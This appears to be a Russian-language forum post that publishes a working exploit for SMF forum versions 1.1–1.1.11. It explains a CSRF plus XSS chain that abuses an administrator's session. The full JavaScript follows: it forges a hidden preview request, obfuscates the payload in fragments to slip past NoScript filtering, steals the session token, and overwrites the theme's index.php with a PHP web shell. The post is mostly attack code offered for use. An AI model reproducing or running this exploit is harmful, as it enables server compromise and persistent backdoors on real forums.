Эксплойт автозагрузки шелла SMF 1.1 - 1.1.11, основанный на CSRF + XSS.
Описание: загружает шелл по
аналогичному принципу; способ требует авторизации в панеле администратора и выполнения браузером администратора представленного скрипта в контексте ЛЮБОГО домена.
Настройки:
1) код шелла (это дело вкусовое, в скрипте стоит тестовый вариант);
2) ссылка на создание новой темы в целевом форуме;
Пояснения:
Первым звеном служит CSRF-уязвимость, заключающаяся в возможности подмены запроса на предпросмотр сообщения. Защита от публикации такого сообщения в форуме существует, а от предпросмотра нет. Эксплойт подменяет запрос админа на предпросмотр вновь создаваемой темы.
Вторым звеном является декларированная возможность выполнения произвольного скрипта в контексте форума с помощью bb-тега
[*html], доступного только администратору. Эксплойт отправляет вместе с запросом код подгрузки шелла, который выполнится в скрытом ифрейме (т.е. совершенно незаметно от админа).
Для обхода защиты от такого рода атак, реализованной, например, в NoScript`е, эксплойт отправляет фрагментированный код. То есть запрос с другого домена, содержащий
[*html]<img src=. onerror='eval(String.fromCharCode(bugoga))'>[*/html]
, будет отфильтрован, а запрос
[*html]<i[*/html][*html]mg src=. onerro[*/html][*html]r='eval(String.fromCharCode(bugoga[*/html][*html]))'>[*/html]
отфильтрован не будет.
Остальную информацию дублировать излишне, смотрите её в вышеприведенном посте.
Эксплойт:
Код:
/*/ SMF 1.1 - 1.1.11 shell inj. via CSRF + XSS
/// Example: <html><body><script src=smf_shell_inj.js></script></body></html>
///
/// LeverOne 27.12.2009
/*/
//------------------------- start config ---------------------->
php_code = window.php_code || 'if($_GET[lo]) echo($_GET[lo]);';
new_topic_url = window.new_topic_url || 'http://vulnsite.xz/smfforum/index.php?action=post;board=1.0';
//------------------------- end config ------------------------>
index_code = escape('<?php\n\n// Try to handle it with the upper level index.php. (it should know what to do.)\n ' +
php_code +
'\n if (file_exists(dirname(dirname(__FILE__)) . \'/index.php\'))\n' +
'include (dirname(dirname(__FILE__)) .\'/index.php\');\n else\n exit;\n\n?>');
shell_inj = "function get_sesc(url) {" +
" requester('GET', url, null," +
" function() {" +
" if (r.readyState == 4) {" +
" sesc = r.responseText.match(/sesc=([a-z0-9]{32})/)[1] || null;" +
" if (sesc != null) edit_index(sesc);" +
" }" +
" }" +
" );" +
"}" +
"function edit_index(sesc) {" +
" postdata = 'entire_file=" + index_code + "&submit=1&filename=index.php&sc=' + sesc;" +
" requester('POST', './index.php?action=theme;th=1;sa=edit', postdata, null);" +
"}" +
"function requester(method, url, postdata, func) { " +
" try {r = new XMLHttpRequest()} catch(err) {r = new ActiveXObject('Msxml2.XMLHTTP')}" +
" r.open(method, url + '&r=' + Math.ceil(1000*Math.random()));" +
" if (method == 'POST') r.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');" +
" r.onreadystatechange = func;" +
" r.send(postdata);" +
"}" +
"get_sesc(location.href);";
function toCharCode(string) {
char_array = [];
for (n = 0; n < string.length; n++) char_array.push(string.charCodeAt(n));
return char_array.toString();
}
shell_inj = "[html]<i[/html][html]mg src=. onerro[/html][html]r='eval(String.fromCharCode(" + toCharCode(shell_inj) + "[/html][html]))'>[/html]";
document.body.innerHTML += '<iframe style=display:none name=myfr><\/iframe>' +
'<form id=myform action=' + new_topic_url + ' method=post target=myfr>' +
'<input type=hidden name=subject value=1>' +
'<input type=hidden name=message value="' + shell_inj + '">' +
'<input type=hidden name=preview value=1><\/form>';
document.getElementById('myform').submit();